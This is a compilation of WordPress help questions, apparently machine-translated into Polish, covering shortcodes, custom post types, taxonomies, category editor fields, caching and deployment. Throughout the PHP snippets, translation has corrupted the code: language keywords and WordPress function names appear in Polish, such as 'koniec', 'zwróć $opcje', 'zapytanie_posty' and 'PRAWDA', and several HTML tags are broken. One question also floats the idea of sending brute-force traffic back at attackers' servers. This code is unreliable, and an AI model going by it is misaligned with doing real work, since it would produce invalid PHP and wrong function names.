Z kilkoma dodatkowymi linijkami w moim functions.php stworzyłem krótki kod, który pozwala mi dołączyć treść postu: function include_content( $atts ) { $id = (int) $atts['id']; if ( ! $post = get_post( $id )) return ''; return apply_filters( 'the_content', $post->post_content ); } add_shortcode( "include", "include_content" ); Teraz, jeśli zrobię post taki jak kilka tygodni temu opublikowałem epickie oświadczenie: [include id="345"] WP generuje
Kilka tygodni temu opublikowałem epickie oświadczenie:
FTW!
 tylko moje 2 ¢

 Tak więc, oczywiście zawartość starego posta jest wpautoped zanim zostanie dołączona. Jeśli po prostu zwrócisz $post->post_content, ta treść nie zostanie zrenderowana (tj. bez `<br />`) w zewnętrznym komunikacie. Teraz, jak mogę pozbyć się tagów akapitów wokół importowanego posta, tj. Jak mogę najpierw dołączyć, a następnie wpautop całość? Wszelkie ulepszenia kodu są również mile widziane! Dziękuję!


title: Wyłączanie trackbacków i komentarzy

text: Mamy kilka różnych stron internetowych z różnymi wersjami Wordpressa, które mają wyłączone komentarze i trackbacki, a mimo to wciąż otrzymuję e-maile z informacją, że coś na mnie czeka! Wyłączyłem je oba w obszarze administracyjnym, a także całkowicie usunąłem pole komentarzy, ale nadal je otrzymuję, jak mogę je całkowicie wyłączyć?


title: Czy mogę powiązać kategorię post_type='post' z niestandardową kategorią post_type?

text: Używam rozwiązania do automatyzacji, aby umieścić moje filmy w kategorii. Wygląda na to, że rozwiązanie do automatyzacji nie uwzględnia niestandardowych typów postów i niestandardowych kategorii typu postów, więc muszę wysłać całą moją zawartość wideo do normalnej kategorii. Jak nadal mogę korzystać z niestandardowych typów postów mojego motywu? Czy jest sposób na wykonanie twardego okablowania? A może jest wtyczka, która pomoże mi połączyć te dwa? _Edytuj_ To jest na tyle, na ile udało mi się zautomatyzować rozwiązanie programowo (ale widać, że zależy to od nazwy taksonomii niestandardowej kategorii typu post, która jest standaryzowana jako „taksonomia_unikalna nazwa”): //wstaw element rss do bazy danych $post = array( 'post_author' => $campaign_author[$key], 'post_category' => $cat, 'post_content' => $description, 'post_date' => $date_placeholder, 'post_date_gmt' => $ gmt_date, 'post_name' => $permalink_name, 'post_status' => $post_status, 'post_title' => $title, 'post_type' => $campaign_post_type[$key], 'tags_input' => "$tags", 'original_source '=> $link ); $post_id = wp_insert_post ($post, $wp_error ); //echo $wp_error; Wyjście; if ($campaign_post_type[$key]!='post'||$campaign_post_type[$key]!='page') { wp_set_object_terms($post_id,intval($cat[0]),"taxonomy_$campaign_post_type[$key] ”); }


title: Zmiana tagu, zmiana kategorii w niestandardowym typie posta

text: Mam niestandardowy typ posta o nazwie przepisy kulinarne. Następnie mam taksonomię o nazwie r_cat, która ma pokazywać kategorie, takie jak Przepisy na dietę cukrzycową itp. Mam też tagi. Co się dzieje, jeśli próbuję zmienić nazwę kategorii i ślimaka receptury, zmienia się również nazwa tagu i ślimaka. Więc są połączone? Czy w konfiguracji CPT lub taksonomii mam coś, co powoduje, że kategoria taksonomii i tag są takie same? Oto mój kod: add_action('init', 'cptui_register_my_cpt_recipes'); function cptui_register_my_cpt_recipes() { register_post_type('recipes', array( 'label' => 'Zdrowe przepisy', 'description' => '', 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'capability_type' => 'post', 'map_meta_cap' => true, 'hierarchical' => false, 'rewrite' => array('slug' => 'zdrowe-przepisy', 'with_front' => false ) , 'query_var' => true, 'has_archive' => true, 'supports' => array('title','editor','custom-fields','thumbnail','page-attributes','post-formats '), 'taxonomies' => array('post_tag','r_cat'), 'labels' => array ( 'name' => 'Zdrowe przepisy', 'singular_name' => 'Recipe', 'menu_name' => 'Recipes', 'add_new' => 'Dodaj przepis', 'add_new_item' => 'Dodaj nowy przepis', 'edit' => 'Edytuj', 'edit_item' => 'Edytuj przepis', 'new_item' => ' Nowy przepis', 'view' => 'Wyświetl przepis', 'view_item' => 'Wyświetl przepis', 'search_items' => 'Wyszukaj przepisy', 'not _found' => 'Nie znaleziono przepisów', 'not_found_in_trash' => 'Nie znaleziono przepisów w koszu', 'parent' => 'Przepis nadrzędny', ) ) ); } add_action('init', 'cptui_register_my_taxes_r_cat'); function cptui_register_my_taxes_r_cat() { register_taxonomy( 'r_cat',array ( 0 => 'recipes', ), array( 'hierarchical' => true, 'label' => 'Kategorie przepisów', 'show_ui' => true, 'query_var ' => true, 'rewrite' => true, 'show_admin_column' => false, 'labels' => array ( 'search_items' => 'Kategoria przepisów', 'popular_items' => '', 'all_items' => ' ', 'parent_item' => '', 'parent_item_colon' => '', 'edit_item' => '', 'update_item' => '', 'add_new_item' => '', 'new_item_name' => '', 'separate_items_with_commas' => '', 'add_or_remove_items' => '', 'choose_from_most_used' => '', ) ) ); } Dzięki za wszelką pomoc. Mam nadzieję, że to łatwe rozwiązanie?


title: Dlaczego w moim motywie nie widzę całej zawartości statyki pod postami?

text:
Jestem całkiem nowy w PHP i mam następujący problem, rozwijam ten problem z WordPressem: http://onofri.org/WP_BootStrap/ Jak widać, pokazano unikalny post obecny na moim blogu (ten o nazwie Hello Wordl ), ale pod nim reszta mojego motywu nie jest pokazana. To jest kod strony i jak widać pod pokazanym postem jest wiele innych statycznych informacji, które muszą być pokazane: <?php get_header(); ?>

Lorem ipsum dolor sit amet

 consectetur adipisicing elita, sed do eiusmod tempor incididunt ut labore et...

Lorem ipsum sit dolor

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
  Kup pakiet

Lorem ipsum sie smutek

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
  Kup pakiet

Lorem ipsum smutek

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
  Kup pakiet

 <?php if ( have_posts() ) : // Uruchom pętlę. while ( have_posts() ): the_post(); /* * Dołącz do treści szablon specyficzny dla formatu posta. Jeśli chcesz * użyj tego w dzieciństwied tematu, a następnie dołącz plik o nazwie content-___.php * (gdzie ___ jest formatem postu), który zostanie użyty w zamian. */ get_template_part( 'treść', get_post_format() ); koniec; // Nawigacja do poprzedniego/następnego wpisu. dwadzieścia czternaście_nawigacja_stronicowania(); else : // Jeśli nie ma treści, dołącz szablon „Nie znaleziono postów”. get_template_part( 'zawartość', 'brak' ); endif; ?>
Ultimi Articoli

  <time datetime="2010-11-10" pubdate> 10.11.2010 < /time>
TYTUŁ PIERWSZEGO WPISU

 TREŚĆ WPISÓWT
  <address> MOJE IMIĘ </address>

Ultimi lavori

Nowa strona HTML.it

 Donec id elit non mi porta gravida w  eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

 Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Liczba całkowita posuere erat ante.
 Marco Rossi Director Marketing

Lorem.com

 Kliknięcia na element

Lorem.com

 Kliknij na element

< !-- /.col-sm-3 -->

 Lorem.com

 Kliknij na element

Lorem.com

 Kliknij na pozycję

<! -- /.col-sm-3 -->

 Lorem ipsum

 Siedząc smutek

 Adipisująca mniszka

 Przyprawa diam

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

 Gotowe id elit non mi porta gravida w eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

 Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pelentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Fermentum Pellentesque, ante ac interdum ullamcorper.

 Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

 Donec id elit non mi porta gravida at eget metus id elit mi egetyna. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

 Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

 Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

Serwis i oferta

Opzione Free

  Gratuito

 Dapibus ac facilisis w

 Morbi leo risus

 Porta ac consectetur ac

 Przedsionek w eros

 <button class="btn btn-success btn-block btn-round-bottom" type="button"> Abbonati </button>

Opzione Pro

 <liclass="list-group-item servizi-prezzo"> 5,99 EUR al mese

 Dapibus ac facilisis w

 Morbi leo risus

 Porta ac consectetur ac

 Przedsionek w eros

 <button class="btn btn-success btn-block btn-round-bottom " type="przycisk"> Abbonati </button>

Opzione Super

 9,99 EUR mniej

 Dapibus ac facilisis w

 Morbi leo risus

 Porta ac consectetur ac

 Przedsionek w erosie

 <button class=" btn btn-success btn-block btn-round-bottom" type="button"> Abbonati </button>

<! -- /.container --> <?php get_footer(); ?> W poprzednim kodzie jest to sekcja, która pokazuje moje posty na stronie głównej: <?php if ( have_posts() ) : // Uruchom pętlę. while ( have_posts() ): the_post(); /* * Dołącz do treści szablon specyficzny dla formatu posta. Jeśli tychcesz * użyć tego w motywie potomnym, a następnie dołącz plik o nazwie content-___.php * (gdzie ___ jest formatem postu), który zostanie użyty w zamian. */ get_template_part( 'treść', get_post_format() ); koniec; // Nawigacja do poprzedniego/następnego wpisu. dwadzieścia czternaście_nawigacja_stronicowania(); else : // Jeśli nie ma treści, dołącz szablon „Nie znaleziono postów”. get_template_part( 'zawartość', 'brak' ); endif; ?> Ale, jak widać, cała zawartość statyczna znajdująca się pod tym kodem PHP nie jest widoczna (jeśli usunę tę część kodu, to działa dobrze i widzę ostatnią część mojego motywu) Masz jakiś pomysł o tym, jak mogę rozwiązać ten problem? czego mi brakuje? Tnx Andrea


title: Pierwsze wdrożenie wordpressa za pośrednictwem git

text: Obecnie mam konfigurację komputera lokalnego i wypychanie do przemieszczania za pośrednictwem git. Zdarzają się przypadki, w których przesyłam obrazy lokalnie, aby przetestować interakcję ze stroną administratora. W moim pliku `.gitignore` ignoruję wszystko poza folderami motywów i wtyczek. Jestem ciekaw, jak radzisz sobie z początkowym pushem na serwer pomostowy. Mianowicie folder przesyłania. Czy wysyłasz wszystko, a następnie modyfikujesz plik `.gitignore`, aby nie wyświetlał przesyłanych plików? Po prostu próbuję udoskonalić mój proces. Każdy wgląd byłby pomocny.


title: Funkcja usuwania każdego posta z taksonomii

text: Chciałbym mieć fragment kodu, który po uruchomieniu usuwa każdy pojedynczy post z taksonomii typu postu. Jak mogę to zrobić? Dziękuję Ci.


title: Jak uzyskać miniaturę z załącznika posta w tej pętli?

text:
Używam tego kodu do wyświetlania Najpopularniejsze posty na podstawie liczby wyświetleń, ale nie mam obrazów w treści posta Mam wszystkie obrazy dołączone do posta za pośrednictwem załącznika (galeria) Jak zastąpić miniaturę "thimthumb" pierwszym załącznikiem wymienionych postów?
 <?php _e('
Popularne
','iphoto');?>
 <?php $paged = (get_query_var('paged ')) ? get_query_var('stronicowane') : 1; $args = array( 'meta_key' => 'views', 'orderby' => 'meta_value_num', 'paged' => $paged, 'order' => DESC, 'showposts' => 9 ); zapytanie_posty($args); while (have_posts()) : the_post(); $output = preg_match('//i', $post->post_content, $imgs); $ cnt = count($imgs); ?>
 <?php if ( $cnt > 0 ) { ?> <a class="same_cat_posts_img" href="<?php the_permalink() ?>" title="<? php tytuł_(); ?>"><?php echo ' ';?> <?php } else { ?> <a class="same_cat_posts_img" href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><img alt="<?php tytuł_(); ?>" src="<?php bloginfo('template_url'); ?>/timthumb.php?src=<?php bloginfo('template_url'); ?>/images/default.jpg&w=60&h=60&zc=1" /> <?php } ?>
 <?php endwhile; wp_reset_query(); ?>


title: Utworzyć oddzielny widżet dla tagów i chmury tagów?

text: Czy można utworzyć oddzielny widżet dla „Tagów” i „TagsCloud”? To pytanie jest podobne, ale jak zrobić 2 oddzielne widżety dla „Tags” i „TagsCloud”? Różnica polega na tym, że klasa nazywałaby się „tags” zamiast „tagscloud”, a domyślne ustawienia wp_tag_cloud() miałyby ten sam rozmiar bez względu na liczbę postów? Jak wyświetlić chmurę tagów z tagami postów ORAZ z niestandardową taksonomią?


title: Taksonomia wyszukiwania Jigoshop

text: Zastanawiałem się, czy ktoś wie, jak mogę zmodyfikować wyszukiwanie, aby przeszukiwało taksonomię? obecnie szuka tylko tytułu produktu, ale nie taksonomii przypisanej do posta. Proszę pomóż


title: Niestandardowe zapytanie WP z meta_value przechowywane jako zserializowana tablica

text:
Używam pola wyboru Magic Fields 2 do przechowywania usług, które można przypisać do studiów przypadku. Dane są przechowywane jako zserializowana tablica w WordPressie i potrzebuję pomocy w wyodrębnieniu „powiązanych postów”. Wiem, że nie możesz po prostu użyć tablicy jako meta_value (WordPress po prostu jej nie obsługuje), więc muszę użyć wielu pętli lub dodać niestandardowy kod w pętli. Oto kod, który mam do tej pory: <?php $related_case_study_args = array( 'post_type' => 'case-studies', 'posts_per_page' => '-1', // pobierz wszystkie posty ); $related_case_study_loop = nowe WP_Query($related_case_study_args); if ( $related_case_study_loop->have_posts() ): ?>
Zobacz powiązane studia przypadków:
 <?php while ( $related_case_study_loop->have_posts() ) : $related_case_study_loop->the_post(); ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
 <?php endwhile; endif; wp_reset_query(); ?> który działa dobrze i wciąga w każdym z przypadków. W każdym studium przypadku istnieją indywidualne usługi, według których należy je filtrować. Jak mogę uzyskać meta_value, wyodrębnić ją i wyświetlić tylko powiązane wpisy? Próbowałem użyć tego kodu w instrukcji „while”, aby sprawdzić, czy dane są zwracane poprawnie, ale bez powodzenia: // zwraca tablicę, ponieważ jest to pole multicheck w Magic Fields 2 $services = get_post_meta($post ->ID, „usługi”, prawda); // foreach element w tablicy foreach ($services as $service) { if ( sanitize_title($service_title) == sanitize_title($service) ) { echo '
' . esc_attr($usługa) . '
'; } } Jakakolwiek pomoc tutaj będzie mile widziana! Wielkie dzięki, James


title: Jak stworzyć szablon strony wyświetlający posty z określoną kategorią w Genesis Framework?

text: Wiem jak tworzyć tego rodzaju szablony. Zwykle po prostu uruchamiam niestandardową pętlę WordPress. Ale kiedy sprawdziłem plik szablonu w Genesis Framework, zobaczyłem to: **page_blog.php:** <?php /* UWAGA: Ten plik jest częścią podstawowego frameworka Genesis. Pod żadnym pozorem NIE edytuj tego pliku. Prosimy o wszelkie modyfikacje w formie motywu potomnego. */ /** * Nazwa szablonu: Blog * Ten plik obsługuje listę wpisów na blogu na stronie. * * Ten plik jest podstawowym plikiem Genesis i nie powinien być edytowany. * * @category Genesis * @package Templates * @author StudioPress * @license http://www.opensource.org/licenses/gpl-license.php GPL v2.0 (lub nowsza) * @link http://www. studiopress.com/themes/genesis */ genesis(); To jest strona bloga i jestem zdziwiony. Jak utworzyć szablon, który zawiera listę postów z określonej kategorii?


title: Czy konieczne jest używanie Timthumb w Wordpress 2.9+?

text: ponieważ Wordpress 2.9 ma wbudowane funkcje miniatur postów, czy konieczne jest używanie Timthumb? jeśli tak, podaj


title: Jak dodać edytor tekstu WYSIWYG do ekranu edycji kategorii?

text: Ostatnio dużo pracowałem z kategoriami, co przy zwiększonej świadomości i zapotrzebowaniu na tematyczne lub silosowe struktury witryn. W tym celu zamierzam ulepszyć moje strony docelowe kategorii, zmieniając etykietę pola „Opis” na „Podsumowanie opisu” i dodając nowe pole o nazwie „Szczegółowy opis”. Będę korzystał z pola „Summary Description” na stronie indeksu mojej kategorii (wykaz wszystkich kategorii mojej witryny) i chcę użyć tego nowego pola „Szczegółowy opis” do wyświetlania na stronie docelowej każdej kategorii. Potrzebuję więc pola edycji tekstu sformatowanego dodanego do ekranu edycji kategorii. Czy WordPress ułatwia tworzenie instancji pola edycji tekstu sformatowanego, być może pobierając lekką wersję edytora postów/stron? Prawdopodobnie nie potrzebuję paska narzędzi, ale fajnie byłoby mieć kilka podstawowych przycisków formatowania, takich jak B, I, U, hiperłącze itp.


title: Funkcja sprawdzania, czy strona niestandardowa jest używana przez stronę?

text: Mam template-clientlist.php teraz szukam w dokumencie wordpress, ale mogę znaleźć funkcję, jak sprawdzić, czy strona używała template-clientlist.php template-clientlist.php <?php /* Nazwa szablonu: Strona postów */ ?> Czy istnieje funkcja lub funkcja niestandardowa, aby sprawdzić, czy strona korzysta z szablonu niestandardowego?


title: Użytkownicy Wordpress MU – jak są zorganizowani?

text: WP i WP MU są nieco inne, na przykład w użytkownikach. Nie jestem pewien, czy poprawnie rozumiem funkcje użytkownika. Powiedz mi proszę, jakie są różnice między użytkownikami WP i WP MU? Na przykład wiem, że użytkownicy MU rejestrują się tylko raz na głównej stronie sieci (tzn. nie powinni rejestrować się na każdej podstronie). Wiem też, że użytkownik może mieć lub nie mieć podstrony. I wiedz, że istnieje możliwość dodania użytkownika do określonej podstrony. Wydaje mi się, że to wszystko, co wiem :) Czy możliwe jest, aby użytkownik rejestrując się na określonej podstronie (ale nie tylko w sieci w ogóle) był już automatycznie przypisany do danej podstrony zaraz po rejestracji? Jak? Po co można dodać użytkownika do określonej podstrony? Czy mogę usunąć użytkownika z określonej witryny? I tak dalej...


title: Tymczasowe przekierowanie Original wordpress do podfolderu, aby utworzyć nową witrynę w lokalizacji głównej?

text: Zamierzam zaktualizować witrynę Wordpress mojego szwagra w ciągu 2 tygodni i chcę przenieść jego obecną witrynę do podfolderu, podczas gdy wszyscy użytkownicy mogą nadal odwiedzać jego witrynę przez `http://domain.com/ `. Gdy to przekierowanie jest aktywne, chcę, aby nowa witryna Wordpress znajdowała się w głównym folderze na serwerze, ale była dostępna przez inny link, taki jak `http://beta.domain.com`, ale wszystkie pliki, takie jak obrazy, powinny być względne (`/wp-uploads/...`) (preferowane, jak sądzę?) lub wskazywać na `http://domain.com/wp-uploads`, gdzie strona faktycznie się znajduje i będzie przejdź do momentu, gdy wszystko jest zrobione. Chociaż... Mam małą wskazówkę, jak to zrobić... Ale raczej otrzymuj od was informacje. Proszę o poradę, jak mogę poradzić sobie z tą obecną i nową sytuacją w witrynie, która powinna mieć łatwą właściwość „migracji, gdy jest gotowa”, w najlepszy sposób. Dziękuję! **_Moje przemyślenia_** _Aktualna strona internetowa: Ustaw w `WP-settings` adres URL witryny na `http://domain.com/`, ale URL Wordpress na `http://domain.com/temporary`; Nowa strona internetowa: Ustaw w `WP-settings` adres URL strony na `http://domain.com/beta`, ale Wordpress URL na `http://domain.com/`._ _Nie jestem pewien, czy to wszystko Muszę zrobić, prawda?_


title: Prawidłowe wdrożenie działania

text: Cześć, wdrażam podstawową wtyczkę oraz dodatki. Istnieje strona ustawień i chciałbym podłączyć kilka procedur walidacji wtyczki dodatku do funkcji walidacji wtyczki rdzenia. Jednak to nie działa. Czy możesz wskazać mi właściwy kierunek? Oto fragment tego, co mam: register_setting( 'myp_settings', 'myp_settings', 'myp_settings_validate' ); function myp_settings_validate( $input ) { $options = get_option( 'myp_settings' ); do_action( 'myp_settings_validate', $wejście, $opcje ); zwróć $opcje; } Powyższe znajduje się w kodzie głównej wtyczki, podczas gdy poniższe znajduje się w wtyczce dodatku: add_action( 'myp_settings_validate', 'myp_settings_et_validate', '', 2 ); function myp_settings_et_validate( $input, $options ) { if ( ! isset( $input['excerpt_enable'] ) || $input['excerpt_enable'] != '1' ) $options['excerpt_enable'] = 0; w przeciwnym razie $options['excerpt_enable'] = 1; if ( ! isset( $input['thumbnail_enable'] ) || $input['thumbnail_enable'] != '1' ) $options['thumbnail_enable'] = 0; w przeciwnym razie $options['thumbnail_enable'] = 1; zwróć $opcje; }


title: Wyświetlaj najgłębszą kategorię postów, gdy post ma wiele kategorii

text: Chcę wyświetlić bezpośredniego przodka kategorii danego postu. Ilustracyjny przykład: Oto kategorie, które mam: Cat1 Cat2 Cat2.1 Cat2.1.1 Cat2.1.2 Cat2.2 Cat2.2.1 Cat2.2.2 Cat2.3 Cat3 Cat3.1 Cat3.1.1 Cat4 Sprawdzam cały spływ, jak w : Cat1 [X]Cat2 [X]Cat2.1 Cat2.1.1 [X]Cat2.1.2 <-mój post Cat2.2 Cat2.2.1 Cat2.2.2 Cat2.3 [x]Cat3<[x]Cat3.1 [x ]Cat3.1.1 <-mój post Cat4 Mam więc `'mój post'` przypisany do wielu kategorii. Powiedzmy, że przechodzę do „mój post” w następujący sposób: „Cat3->Cat3.1->Cat3.1.1->mój post”. Teraz na stronie z pojedynczym postem chcę wyświetlić nazwę bezpośredniego przodka kategorii „mój post” (w tym przypadku „Cat3.1.1”). Ale pytanie brzmi, jak to zrobić?


title: Jakieś przykłady dodawania pól niestandardowych do edytora kategorii?

text:
Myślę, że jestem prawie bliski złamania tego orzecha :) Próbuję dodać zestaw niestandardowych pól do edytora kategorii. Ponieważ nie mam do czynienia z post meta, wierzę, że będę zapisywał moje niestandardowe wartości pól kategorii w tabeli wp_term_taxonomy, a nie wp_options. Czy to jest poprawne? Jeśli są jakieś przykłady, jak to zrobić, udostępnij link lub fragment kodu. Nie wiem, jak przechwycić i zapisać pola kategorii niestandardowej. Oto mój kod... //dodaj zaczep, aby umieścić formularz na ekranie edytora kategorii add_action('edit_category_form','ce4_category_admin'); //Dodaje niestandardowe pole tytułu do funkcji edytora kategorii ce4_category_admin($category){ echo "category: ".$category->term_id; //świetnie, otrzymałem odniesienie do term_id, teraz muszę pobrać/ustawić pola niestandardowe za pomocą tego klucza ?>

 <ty zakres ="row" valign="top">Pełny tytuł kategorii	 <input name="_ce4-categoryTitle" id="_ce4-categoryTitle" type="text" size="40" aria-required="false" value="<?php echo get_taxonomy($category->term_id, '_ce4-categoryTitle'); ?>" />
Tytuł jest opcjonalny, ale będzie używany zamiast nazwy w indeksie kategorii strony głównej.

 Pełny tekst kategorii strony docelowej	 <textarea style="height:70px; width:100%;margin-left: -5px;" name="_ce4_fullDescription" id="_ce4_fullDescription"><?php echo get_taxonomy($category->term_id, '_ce4_fullDescription'); ?></textarea>
Ten tekst pojawi się na stronie docelowej kategorii podczas przeglądania wszystkich artykułów w danej kategorii. Obraz, który podasz powyżej, jeśli taki istnieje, zostanie tutaj użyty, a zawartość zostanie zawinięta wokół niego.

 <?php } //Jak zapisać niestandardowe pole dane? Normalnie użyłbym .. //add_action('save_post', 'custom_save_function'); //ale to nie jest post, więc może jest inna metoda?


title: Daj dostęp do wtyczki przewijania w poziomie do edytora roli użytkownika

text: Jak dać dostęp do edytora ról użytkownika bez używania żadnej wtyczki za pomocą poniższej funkcji funkcji HSA_add_to_menu() { add_options_page('Powiadomienie o przewijaniu w poziomie', __('Przewijanie w poziomie', WP_hsa_UNIQUE_NAME), 'manage_options', 'Ogłoszenie o przewijaniu w poziomie' , 'HSA_opcje_admin' ); }


title: Jak długo jest „tak długo, jak to możliwe” w wp_cache_set()?

text: Dokumentacja dla `wp_cache_set()` mówi, że jeśli przekażesz 0 dla `$expire` (co jest również wartością domyślną), to jest ono buforowane przez „tak długo, jak to możliwe”. Jak długo to trwa? Co o tym decyduje? Czy mówimy o godzinach, dniach? W moim przypadku: mam _bardzo_ drogie zapytanie SQL w sieci wielostanowiskowej składającej się z dosłownie setek blogów, którego wynik może być buforowany tygodniami (naprawdę na zawsze - w razie potrzeby można je po prostu ręcznie opróżnić). Czy powinienem użyć pamięci podręcznej WordPressa, czy sam coś uporządkować?


title: Linki Następny/Poprzedni nie działają w tej samej kategorii

text: Stworzyłem kategorię i nazwałem ją „Blog”. Następnie utworzyłem kilka postów i przypisałem "Blog" jako kategorię dla postów. Więc próbuję przejść do poprzedniej/następnej w tej samej kategorii i nie działa. Oto mój kod:  <?php previous_post_link('%link', __('← Poprzedni'), PRAWDA); ?> <?php next_post_link('%link', __('Następny →'), PRAWDA) ; ?>  Żaden z linków nie jest wyświetlany, nawet jeśli mam utworzony więcej niż jeden post. Jeśli usunę wartość TRUE, przejdzie ona do innych kategorii. Co ja robię źle?


title: Niestandardowe terminy wstawiane jako pojedynczy ciąg z przecinkami, bez oddzielania

text: Mam formularz frontonu, jedno z danych wejściowych prosi o listę słów kluczowych oddzielonych przecinkami, z których każde powinno być niestandardowym terminem, właśnie widziałem w backendzie, że terminy są wprowadzane jako pojedynczy ciąg z przecinkami, a nie pojedynczo. Mój kod jest poniżej, jak mogę włączyć ciąg ie; termin1,term2,term3, który można wprowadzić w polach 'term1','term2','term3', jaki format powinien wyglądać, aby wstawić każde słowo kluczowe jako unikalny termin? Próbowałem zarówno z `wp_insert_post` jak i `wp_set_object_terms` $keywords = $_POST['keywords']; $new_post = array( 'post_title' => $title, 'tax_input' => array( 'keyword' => array( $keywords ) ), 'post_status' => 'publish', 'post_type' => 'test' ) ; $nonce = $_POST['nonce']; if ( ! wp_verify_nonce( $nonce, 'form-nonce' ) ) { die( 'Kontrola bezpieczeństwa' ); } else { $pid = wp_insert_post($nowy_post); //var_dump($new_post); //wp_set_object_terms ($pid,$słowa kluczowe,'słowo kluczowe'); } wp_redirect( get_permalink($pid) ); //echo $pid; Wyjście();


title: Walidacji danych

text: Używam Wordpressa jako CMS i mam stronę kasy, na której informacje są wstawiane do bazy danych za pomocą $wpdb->insert. Mam 2 pytania: 1. Czy 'wstrzyknięcie sql' jest już częścią tej funkcji, czy muszę dodać własny kod? 2. Czy istnieją funkcje sprawdzania poprawności danych wejściowych formularza Wordpress, których mogę użyć w moim niestandardowym formularzu?


title: Czy WordPress ma szczegółowe uprawnienia do wyświetlania?

text: Rozważam użycie WordPressa dla wielu użytkowników w nakładających się grupach, m.in. użytkownik może należeć do grupy A i grupy B, lub tylko do grupy A. Czy można używać WordPressa do ograniczania dostępu do poszczególnych Stron. np. Tylko członkowie grupy B mogą wyświetlać tę stronę, tylko członkowie grup A i C mogą wyświetlać tę stronę. Czy to uprawnienie obejmuje element menu, który prowadzi do strony? (np. jeśli użytkownik nie może wyświetlić strony, nie widzi karty menu/elementu menu)


title: Jak przeszukiwać poszczególne taksonomie w Wordpress?

text: Próbuję wyszukać posty w określonych taksonomii, ale za każdym razem, gdy szukam, otrzymuję wyniki ze wszystkich innych stron zamiast wyszukiwania w Wordpressie w wybranej kategorii w taksonomii. Nazwałem moją taksonomię: „kategorie_publikacji”. Zawiera wszystkie kategorie dla niestandardowego typu postu, który nazwałem "publikacją". To jest kod, który mam dla mojego custom-search.php: <form method="get" id="searchform" action="<?php bloginfo('url'); ?>/"> <div class="alignleft "> <select name="taxonomy"> <option value="0">Wybierz...</option> <?php $theterms = get_terms('publication_categories', 'orderby=name'); foreach ($theterms AS $term) : echo "<option value='".$term->slug."'".($_POST['publication_categories'] == $term->slug ? ' selected="selected" ' : '').">".$term->nazwa."</option>\n"; na każdym kroku; ?> </select> </div> <input type="text" value="<?php the_search_query(); ?>" name="s" id="s" class="searchinput" /> <input type ="prześlij" id="przycisk wyszukiwania" value="Szukaj" class="btn" /> </form>


title: wyklucz identyfikatory przez post__not_in

text: Próbuję utworzyć funkcję i wykluczyć w zapytaniu post, w ten sposób jestem w stanie zdefiniować identyfikatory w mojej funkcji, ale wykluczam tylko 1 post zamiast 4, które zwraca. jakieś sugestie, jak mogę to zrobić z powodzeniem? ### funkcja w pliku functions.php funkcja slider_exclude(){ $exclude_query = query_posts(array('showposts' => 4, 'cat' => 'news',)); foreach($exclude_query as $post_ids){ return $post_ids->ID.','; } } ### moja pętla $args = array( 'post__not_in' => array(slider_exclude()), 'post_type' => 'post', 'posts_per_page' => 15, 'paged' => ( get_query_var('paged ') ?get_query_var('stronicowane') : 1) ); zapytanie_posty($args);


title: Co pożytecznego można zrobić z żądaniami poczty brute-force?

text: Mam witrynę WordPress i cały czas /wp-login.php był brutalnie zmuszany do uzyskania hasła administratora. Zmieniłem adres strony logowania i teraz wp-login.php jest pustym plikiem, który nie przetwarza żądań poczty brute-force. Pytanie: **Co można zrobić z żądaniami poczty brute-force?** Na przykład, czy mogę wysłać te żądania z powrotem na ich adres IP i załadować ich serwery zamiast mojego? Albo coś innego? Może ktoś ma jakieś ciekawe pomysły na ten temat? A może ktoś może podzielić się zasobami na ten temat?


title: Dostosowywanie strony pulpitu nawigacyjnego lub przegląd wpisu

